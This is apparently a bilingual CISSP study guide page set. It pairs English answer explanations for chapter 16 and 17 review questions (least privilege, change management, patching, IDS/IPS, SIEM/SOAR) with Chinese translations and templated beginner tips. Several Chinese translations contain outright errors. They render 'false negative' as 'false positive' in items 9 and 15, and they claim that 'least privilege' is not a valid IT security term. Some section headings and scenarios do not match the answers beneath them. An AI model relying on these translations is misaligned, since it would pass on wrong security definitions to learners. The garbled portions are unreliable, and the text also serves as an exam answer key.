第16章:安全管理运营 1. C. 按需知悉策略基于以下原则:任何系统用户只能被授予执行特定任务 所必需的敏感信息或材料的访问权限。 最小权限原则确保人员仅被授予履 行其工作所需的权限,且不多于必要。 职责分离原则确保没有任何个人对 关键功能或系统拥有完全控制权。 不存在名为“按需基础”的标准原则。 2. C. 按需知悉是指为执行特定工作任务而必须访问、了解或拥有数据,但 不得超出此范围。 最小权限原则包括权利和权限,但“最小权限原则”这一 术语在IT安全中并不成立。 职责分离(SoD)确保没有人能控制流程的所有 环节。 职责分离政策确保没有任何个人对关键功能拥有完全控制权。 工作轮 换政策要求员工定期轮换到不同的岗位。 3. C. 组织应用最小权限原则,以确保员工仅获得完成其工作职责所需的访 问权限。 按需知晓仅指权限,而权限则包括权利和权限。 强制休假政策要求 员工以一至两周为增量休假。 SLA 确定性能预期,并可能包括经济处罚。 4. D. Microsoft 域包含一个特权账户管理解决方案,该方案在管理员需要时 授予其提升的权限,但通过限时票据限制访问。

最小权限原则包括权利和权 限,但“最小权限原则”这一术语在 IT 安全中无效。 职责分离确保单个人 不控制流程或关键功能的所有要素。 按需知晓是指为执行特定工作任务而必 须访问、了解或拥有数据,且不得超出此范围。 5. D. 默认访问级别应为无访问权限。 最小权限原则规定,用户应仅被授予 其工作所需的访问级别,而问题并未表明新用户需要对数据库有任何访问权 限。 读取权限、修改权限和完全

小白解释

场景先行:你是公司的安全负责人,正在读第 1528 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

政策:政策是高层原则,说明必须遵守什么。

标准:标准给出必须满足的最低要求。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Policy 高层、强制、稳定;Procedure 具体步骤。

Minimum level、mandatory requirement 常对应 standard。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
政策 政策是高层原则,说明必须遵守什么。
标准 标准给出必须满足的最低要求。
学习单元 135 / PDF P1529

第三方治理:外包不外包责任

供应商也要被合同、审计、评估和持续监控管理起来。

教材原文段落

access grants users some level of access, which violates the principle of least privilege. 6. A. Each account should be given only the rights and permissions needed to perform their job when following the least privilege policy. New employees would not need full rights and permissions to a server. Employees will need some rights and permissions in order to do their job. Regular user accounts should not be added to the Administrators group. 7. C. Segregation of duties ensures that no single entity can perform all of the tasks for a job or function. A job rotation policy moves employees to different jobs periodically. A mandatory vacation policy requires employees to take vacations.

A least privilege policy ensures users have only the privileges they need, and no more. 8. A. A job rotation policy has employees rotate jobs or job responsibilities and can help detect collusion and fraud. A segregation of duties policy ensures that a single person doesn't control all elements of a specific function. Mandatory vacation policies ensure that employees take an extended time away from their job, requiring someone else to perform their job responsibilities, which increases the likelihood of discovering fraud. Least privilege ensures that users have only the permissions they need to perform their job and no more. 9. B. Mandatory vacation policies help detect fraud.

They require employees to take an extended time away from their job, requiring someone else to perform their job responsibilities, which increases the likelihood of discovering fraud. It does not rotate job responsibilities. While mandatory vacations might help employees reduce their overall stress levels and increase productivity, these are not the primary reasons for mandatory vacation policies. 10. C. A service-level agreement (SLA) can provide monetary penalties if a third-party provider doesn't meet its contractual requirements. Neither a memorandum of understanding (MOU) nor an interconnection security agreement (ISA) includes monetary penalties.

Segregation of duties (SoD) is sometimes shortened to SED, but this is unrelated to third-party relationships. 11. A. The IaaS service model provides an organization with the most control compared to the other models, and this model requires the organization to perform all maintenance on operating systems and applications. The

中文直译 / 整理

访问权限授予用户一定程度的访问权,这违反了最小权限原则。 6. A. 根据最小权限原则,每个账户应仅获得执行其工作所需的权限和权利。 新员工不需要对服务器拥有完整权限和权利。 员工需要一些权限和权利才能 完成工作。 常规用户账户不应被添加到管理员组中。 7. C. 职责分离确保没有任何单一主体能够执行某项工作或功能的所有任务。 工作轮换政策会定期将员工调至不同岗位。 强制休假政策要求员工休假。 最 小权限原则确保用户仅拥有其工作所需的权限,且不多余。 8. A. 工作轮换政策使员工轮换岗位或工作职责,有助于发现串通和欺诈行 为。 职责分离政策确保没有人能控制某一特定功能的所有环节。 强制休假政 策确保员工离开工作岗位较长时间,需要他人代为履行其职责,从而提高发 现欺诈的可能性。 最小权限原则确保用户仅拥有执行其工作所需的权限,且 不多余。 9. B. 强制休假政策有助于发现欺诈行为。 它们要求员工长时间离开工作岗位, 由他人接替其职责,从而增加发现欺诈的可能性。 强制休假并不轮换工作职 责。 尽管强制休假可能有助于员工降低整体压力水平并提高生产力,但这些 并非强制休假政策的主要目的。

10. C. 服务级别协议(SLA)可在第三方提供商未履行合同要求时提供经济处 罚。 谅解备忘录(MOU)和互连安全协议(ISA)均不包含经济处罚。 职责 分离(SoD)有时简称为SED,但这与第三方关系无关。 11. A. IaaS 服务模型相比其他模型为组织提供了最大的控制权,且该模型要 求组织自行执行操作系统和应用程序的所有维护工作。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:供应商也要被合同、审计、评估和持续监控管理起来。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

政策:政策是高层原则,说明必须遵守什么。

程序:程序是一步一步怎么做。

入侵防御系统 IPS:IPS 可检测并主动阻断恶意流量。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第三方治理:外包不外包责任”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Policy 高层、强制、稳定;Procedure 具体步骤。

Step-by-step、SOP 常对应 procedure。

IPS 放在线路中,误报可能影响可用性。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
政策 政策是高层原则,说明必须遵守什么。
程序 程序是一步一步怎么做。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
学习单元 136 / PDF P1530

第 1530 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

SaaS model gives the organization the least control, and the cloud service provider (CSP) is responsible for all maintenance. The PaaS model splits control and maintenance responsibilities between the CSP and the organization. 12. C. The SaaS service model provides services such as email available via a web browser. IaaS provides the infrastructure (such as servers), and PaaS provides a platform (such as an operating system and application installed on a server). Public is a deployment method, not a service model. 13. A. When images are used to deploy systems, the systems start with a common baseline, which is important for configuration management.

Images don't necessarily improve the evaluation, approval, deployment, and audits of patches to systems within the network. While images can include current patches to reduce their vulnerabilities, this is because the image provides a baseline. Change management provides documentation for changes. 14. C. An effective change management program helps prevent outages from unauthorized changes. Vulnerability management helps detect weaknesses but wouldn't block the problems from this modification. Patch management ensures systems are kept up-to-date. Blocking scripts removes automation, which would increase the overall workload. 15. B, C, D.

Change management processes include requesting a change, creating a rollback plan for the change, and documenting the change. Changes should not be implemented immediately without evaluating the change. 16. C. Change management aims to ensure that any change does not result in unintended outages or reduce security. Change management doesn't affect personnel safety. A change management plan will commonly include a rollback plan, but that isn't a specific goal of the program. Change management doesn't perform any type of auditing. 17. D. An effective patch management program evaluates and tests patches before deploying them and would have prevented this problem.

Approving all patches would not prevent this problem because the same patch would be deployed. Systems should be audited after deploying patches, not to test for the impact of new patches. SaaS

中文直译 / 整理

模型使组织的控制权最小,云服务提供商(CSP)负责所有维护工作。 PaaS 模型将控制权和维护责任由 CSP 和组织共同分担。 12. C. SaaS 服务模型通过网页浏览器提供电子邮件等服务。 IaaS 提供基础设 施(例如服务器),PaaS 提供平台(例如安装在服务器上的操作系统和应用 程序)。 公有云是一种部署方式,而非服务模型。 13. A. 当使用镜像部署系统时,系统会从一个共同的基线开始,这对配置管理 至关重要。 镜像并不一定提升网络内系统补丁的评估、批准、部署和审计过程。 虽然镜像可以包含最新补丁以减少其漏洞,但这正是因为镜像提供了一个基线。 变更管理为变更提供文档记录。 14. C. 有效的变更管理程序有助于防止未经授权的变更导致的服务中断。 漏洞 管理有助于检测弱点,但无法阻止此修改引发的问题。 补丁管理确保系统保持 最新状态。 阻止脚本会移除自动化功能。 , 这将增加整体工作量。 15. B、C、D。 变更管理流程包括提出变更请求、为变更创建回滚计划以及记 录变更。 变更不应在未经评估的情况下立即实施。 16. C. 变更管理旨在确保任何变更不会导致非预期的中断或降低安全性。 变 更管理不影响人员安全。

变更管理计划通常包括回滚计划,但这并不是该计 划的特定目标。 变更管理不执行任何类型的审计。 17. D. 有效的补丁管理程序会在部署前评估和测试补丁,从而可以防止此问 题。 批准所有补丁无法防止此问题,因为相同的补丁仍会被部署。 系统应在 部署补丁后进行审计,而不是用于测试新补丁的影响。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

审计:审计记录主体行为,用于追责、复盘和取证。

程序:程序是一步一步怎么做。

审计:审计检查控制是否存在、是否有效、是否符合要求。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1530 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

没有日志和身份绑定,就很难问责。

Step-by-step、SOP 常对应 procedure。

审计题关注独立性、证据、范围和报告。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
程序 程序是一步一步怎么做。
审计 审计检查控制是否存在、是否有效、是否符合要求。
学习单元 137 / PDF P1531

第 1531 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

18. A. A patch management system ensures that systems have required patches. In addition to deploying patches, it would check the systems to verify they accepted the patches. There is no such thing as a patch scanner. A penetration test will attempt to exploit a vulnerability, but it can be intrusive and cause an outage, so it isn't appropriate in this scenario. A fuzz tester sends random data to a system to check for vulnerabilities but doesn't test for patches. 19. B. Vulnerability scanners are used to check systems for known issues and are part of an overall vulnerability management program. Versioning is used to track software versions and is unrelated to detecting vulnerabilities.

Security audits and reviews help ensure that an organization is following its policies but wouldn't directly check systems for vulnerabilities. 20. D. A vulnerability scan will list or enumerate all known security risks within a system. None of the other options will list security risks within a system. Configuration management systems check and modify configuration settings. Patch management systems can deploy patches and verify patches are deployed, but they don't check for all known security risks. Hardware inventories only verify the hardware is still present. 18. A.

中文直译 / 整理

补丁管理系统确保系统已安装所需的补丁。 除了部署补丁外,它还会 检查系统以验证补丁是否已被接受。 不存在所谓的补丁扫描器。 渗透测试会 尝试利用漏洞,但可能具有侵入性并导致服务中断,因此在此场景中不适用。 模糊测试器向系统发送随机数据以检查漏洞,但不会测试补丁。 19. B. 漏洞扫描器用于检查系统中的已知问题,是整体漏洞管理计划的一部分。 版本控制用于跟踪软件版本,与检测漏洞无关。 安全审计和审查有助于确保组 织遵守其政策,但不会直接检查系统中的漏洞。 20. D. 漏洞扫描将列出或枚举系统内所有已知的安全风险。 其他任何选项都不 会列出系统内的安全风险。 配置管理系统用于检查和修改配置设置。 补丁管理 系统可以部署补丁并验证补丁是否已部署,但不会检查所有已知的安全风险。 硬件清单仅验证硬件是否仍然存在。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

渗透测试:渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。

审计:审计记录主体行为,用于追责、复盘和取证。

政策:政策是高层原则,说明必须遵守什么。

漏洞扫描:漏洞扫描用工具找已知弱点。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1531 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

渗透测试通常比漏洞扫描更深入,但也更需要授权和范围控制。

没有日志和身份绑定,就很难问责。

Policy 高层、强制、稳定;Procedure 具体步骤。

扫描发现弱点,不等于已经成功利用。

渗透测试需要书面授权、范围和规则。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
渗透测试 渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。
审计 审计记录主体行为,用于追责、复盘和取证。
政策 政策是高层原则,说明必须遵守什么。
漏洞扫描 漏洞扫描用工具找已知弱点。
渗透测试 渗透测试在授权范围内模拟攻击验证风险。
审计 审计检查控制是否存在、是否有效、是否符合要求。
学习单元 138 / PDF P1532

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Chapter 17: Preventing and Responding to Incidents 1. B, C, D. Detection, reporting, and lessons learned are valid incident management steps. Prevention is done before an incident. Creating backups can help recovering systems, but it isn't one of the incident management steps. The seven steps (in order) are detection, response, mitigation, reporting, recovery, remediation, and lessons learned. 2. A. The next step is to isolate the computer from the network as part of the mitigation phase. He might look at other computers later, but he should try to mitigate the problem first. Similarly, he might run an antivirus scan, but later.

The lessons learned phase is last and will analyze an incident to determine the cause. 3. D. The first step is detection. The seven steps (in order) are detection, response, mitigation, reporting, recovery, remediation, and lessons learned. 4. A, C, D. The three basic security controls listed are (A) keep systems and applications up-to-date, (C) remove or disable unneeded services or protocols, and (D) use up-to-date antimalware software. SOAR technologies implement advanced methods to detect and automatically respond to incidents.

It's appropriate to place a network firewall at the border (between the Internet and the internal network), but web application firewall (WAF) should only filter traffic going to a web server. 5. B. Audit trails provide documentation on what happened, when it happened, and who did it. IT personnel create audit trails by examining logs. Authentication of individuals is also needed to ensure the audit trails provide proof of identities listed in the logs. Identification occurs when an individual claims an identity, but identification without authentication doesn't provide accountability. Authorization grants individuals access to resources based on their proven identity.

Confidentiality ensures that unauthorized entities can't access sensitive data and is unrelated to this question. 6. B. The first step should be to copy existing logs to a different drive so that they are not lost. If you enable rollover logging, you are configuring the logs to overwrite old entries. It's not necessary to review the logs before

中文直译 / 整理

第17章:预防和应对事件 1. B、C、D。 检测、报告和经验总结是有效的事件管理步骤。 预防在事件 发生前进行。 创建备份有助于恢复系统,但它不属于事件管理步骤。 七个 步骤(按顺序)为:检测、响应、缓解、报告、恢复、整改和经验总结。 2. A。 下一步是将计算机与网络隔离,作为缓解阶段的一部分。 他之后可 能会检查其他计算机,但他应首先尝试缓解问题。 同样,他可能会运行杀 毒扫描,但那是之后的事。 经验总结阶段位于最后,用于分析事件以确定 原因。 3. D。 第一步是检测。 七个步骤(按顺序)为:检测、响应、缓解、报告、 恢复、整改和经验总结。 4. A、C、D。 列出的三项基本安全控制措施为:(A)保持系统和应用程序 为最新版本,(C)移除或禁用不必要的服务或协议,以及(D)使用最新的 反恶意软件软件。 SOAR技术采用高级方法检测并自动响应事件。 在边界处 (互联网与内部网络之间)部署网络防火墙是合适的,但Web应用防火墙 (WAF)仅应过滤流向Web服务器的流量。 5. B. 审计追踪提供有关发生了什么、何时发生以及谁所为的文档。 IT人员 通过检查日志来创建审计追踪。

还需要对个人进行身份验证,以确保审计追 踪能够证明日志中列出的身份。 身份识别发生在个人声明身份时,但未经验 证的身份识别无法提供问责性。 授权根据经验证的身份授予个人访问资源的 权限。 机密性确保未经授权的实体无法访问敏感数据,且与本问题无关。 6. B. 第一步应是将现有日志复制到另一个驱动器,以免丢失。 如果启用日志 轮换,您是在配置日志以覆盖旧条目。 在

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

审计:审计记录主体行为,用于追责、复盘和取证。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

没有日志和身份绑定,就很难问责。

问责依赖识别、认证、授权、审计和记账共同工作。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
问责性 问责性要求能把行为绑定到具体主体。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
程序 程序是一步一步怎么做。
防火墙 防火墙根据规则控制网络流量进出。
学习单元 139 / PDF P1533

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

copying them. If you delete the oldest log entries first, you may delete valuable data. 7. A. Fraggle is a denial-of-service (DoS) that uses UDP. Other attacks, such as a SYN flood attack, use TCP. A Smurf attack is similar to a Fraggle attack, but it uses ICMP. SOAR is a group of technologies that provides automated responses to common attacks; SOAR is not a protocol. 8. A. A zero-day exploit is an attack that exploits a vulnerability that doesn't have a patch or fix. A newly discovered vulnerability is only a vulnerability until someone tries to exploit it. Attacks on unpatched systems aren't zero-day exploits.

A virus is a type of malware that delivers its payload after a user launches an application. 9. C. This is a false positive. The IPS falsely identified normal web traffic as an attack and blocked it. A false negative occurs when a system doesn't detect an actual attack. A honeynet is a group of honeypots used to lure attackers. Sandboxing provides an isolated environment for testing and is unrelated to this question. 10. D. An anomaly-based IDS requires a baseline, and it then monitors traffic for any anomalies or changes when compared to the baseline. It's also called behavior-based and heuristics-based.

Pattern-based detection (also known as knowledge-based detection and signature-based detection) uses known signatures to detect attacks. 11. B. An NIDS will monitor all traffic and raise alerts when it detects suspicious traffic. An HIDS only monitors a single system. A honeynet is a network of honeypots used to lure attackers away from live networks. A network firewall filters traffic, but it doesn't raise alerts on suspicious traffic. 12. A. This describes an NIPS. It is monitoring network traffic, and it is placed inline with the traffic. An NIDS isn't placed inline with the traffic, so it isn't the best choice.

Host-based systems only monitor traffic sent to specific hosts, not network traffic. 13. D. A drawback of some HIDSs is that they interfere with a single system's normal operation by consuming too many resources. The other options refer to applications that aren't installed on user systems. 14. B. An IDS is most likely to connect to a switch port configured as a mirrored port. An IPS is placed inline with traffic, so it is placed before the switch. A honeypot doesn't need to see all traffic going through a

中文直译 / 整理

复制它们。 如果您先删除最旧的日志条目,可能会删除有价值的数据。 7. A. Fraggle 是一种使用 UDP 的拒绝服务(DoS)攻击。 其他攻击,例如 SYN 洪 水攻击,则使用 TCP。 Smurf 攻击与 Fraggle 类似 攻击,但它使用 ICMP。 SOAR 是一组提供对常见攻击自动响应的技术; SOAR 不是一种协议。 8. A. 零日漏洞利用是一种利用尚未有补丁或修复措施的漏洞的攻击。 新发现 的漏洞仅在有人尝试利用它之前才只是漏洞。 针对未打补丁系统的攻击并非 零日漏洞利用。 病毒是一种恶意软件,在用户启动应用程序后才会执行其有 效载荷。 9. C. 这是一个误报。 IPS 错误地将正常的网页流量识别为攻击并予以阻止。 误报是指系统未能检测到实际的攻击。 蜜网是一组用于引诱攻击者的蜜罐。 沙箱提供一个隔离的环境用于测试,与本题无关。 10. D. 基于异常的IDS需要一个基线,然后将流量与基线进行比较,监测任何 异常或变化。 它也被称为基于行为和基于启发式的。 基于模式的检测(也称为 基于知识的检测和基于签名的检测)使用已知的签名来检测攻击。

11. B. NIDS会监控所有流量,并在检测到可疑流量时发出警报。 HIDS仅监控 单个系统。 蜜网是由多个蜜罐组成的网络,用于将攻击者引离真实网络。 网络 防火墙过滤流量,但不会对可疑流量发出警报。 12. A. 这描述的是NIPS。 它正在监控网络流量,并且部署在流量路径上。 NIDS并未部署在流量路径上,因此不是最佳选择。 基于主机的系统仅监控发 送到特定主机的流量,而非网络流量。 13. D. 某些HIDS的缺点是,它们会因消耗过多资源而干扰单个系统的正常运 行。 其他选项指的是未安装在用户系统上的应用程序。 14. B. IDS 最有可能连接到配置为镜像端口的交换机端口。 IPS 被置于流量 路径中,因此它被放置在交换机之前。 蜜罐不需要查看通过的全部流量

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

程序:程序是一步一步怎么做。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

防火墙:防火墙根据规则控制网络流量进出。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

ISO 偏标准和管理体系。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

检测是 IDS,主动阻断更像 IPS。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
防火墙 防火墙根据规则控制网络流量进出。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 140 / PDF P1534

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

switch. A sandbox is an isolated area often used for testing and would not need all traffic from a switch. 15. B. A false negative occurs when there is an attack, but the NIDS doesn't detect it and does not raise an alarm. In contrast, a false positive occurs when an NIDS incorrectly raises an alarm, even though there isn't an attack. The attack may be a UDP-based Fraggle attack or an ICMP-based Smurf attack, but the attack is real, and if the IDS doesn't detect it, it is a false negative. 16. B. An anomaly-based IDS (also known as a behavior-based IDS) can detect new security threats. A signature-based IDS only detects attacks from known threats.

An active IDS identifies the response after a threat is detected. A network-based IDS can be both signature-based and anomaly-based. 17. B. A security information and event management (SIEM) system is a centralized application that monitors multiple systems. Security orchestration, automation, and response (SOAR) is a group of technologies that provide automated responses to common attacks. A host-based intrusion detection system (HIDS) is decentralized because it is on one system only. A threat feed is a stream of data on current threats. 18. D. A network-based data loss prevention (DLP) system monitors outgoing traffic (egress monitoring) and can thwart data exfiltration attempts.

Network-based intrusion detection systems (NIDSs) and intrusion protection systems (IPSs) primarily monitor incoming traffic for threats. Firewalls can block traffic or allow traffic based on rules in an access control list (ACL), but they can't detect unauthorized data exfiltration attacks. 19. A. Threat hunting is the process of actively searching for infections or attacks within a network. Threat intelligence refers to the actionable intelligence created after analyzing incoming data, such as threat feeds. Threat hunters use threat intelligence to search for specific threats. Additionally, they may use a kill chain model to mitigate these threats.

Artificial intelligence (AI) refers to actions by a machine, but the scenario indicates administrators are doing the work. 20. A. Security orchestration, automation, and response (SOAR) technologies provide automated responses to common attacks, reducing an administrator's workload. A security information and event management

中文直译 / 整理

交换机。 沙箱是一个隔离区域,通常用于测试,不需要来自交换机的所有流量。 15. B. 当存在攻击但NIDS未能检测到且未发出警报时,发生误报。 相比之下, 当NIDS在没有攻击的情况下错误地发出警报时,发生误报。 攻击可能是基于 UDP的Fraggle攻击或基于ICMP的Smurf攻击,但攻击是真实的,如果 IDS未能检测到,则属于误报。 16. B. 基于异常的IDS(也称为基于行为的IDS)可以检测新的安全威胁。 基 于签名的IDS仅能检测已知威胁的攻击。 主动IDS在检测到威胁后识别响应。 基于网络的IDS既可以是基于签名的,也可以是基于异常的。 17. B. 安全信息和事件管理(SIEM)系统是一种集中式应用程序,用于监控 多个系统。 安全编排、自动化和响应(SOAR)是一组提供对常见攻击自动响 应的技术。 基于主机的入侵检测系统(HIDS)是去中心化的,因为它仅位于 一个系统上。 威胁情报源是关于当前威胁的数据流。 18. D. 基于网络的数据丢失防护(DLP)系统监控出站流量(出口监控),可 阻止数据外泄尝试。 基于网络的入侵检测系统(NIDS)和入侵防护系统( IPS)主要监控入站流量以发现威胁。

防火墙可根据访问控制列表(ACL)中 的规则阻止或允许流量,但无法检测未经授权的数据外泄攻击。 19. A. 威胁狩猎是主动在网络中搜索感染或攻击的过程。 威胁情报是指在分析 传入数据(如威胁馈送)后生成的可操作情报。 威胁猎手利用威胁情报来搜索 特定威胁。 此外,他们可能使用杀伤链模型来缓解这些威胁。 人工智能(AI) 指机器执行的操作,但本场景表明是管理员在执行工作。 20. A. 安全编排、自动化与响应(SOAR)技术可对常见攻击提供自动化响应, 减轻管理员的工作负担。 安全信息与事件管理

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

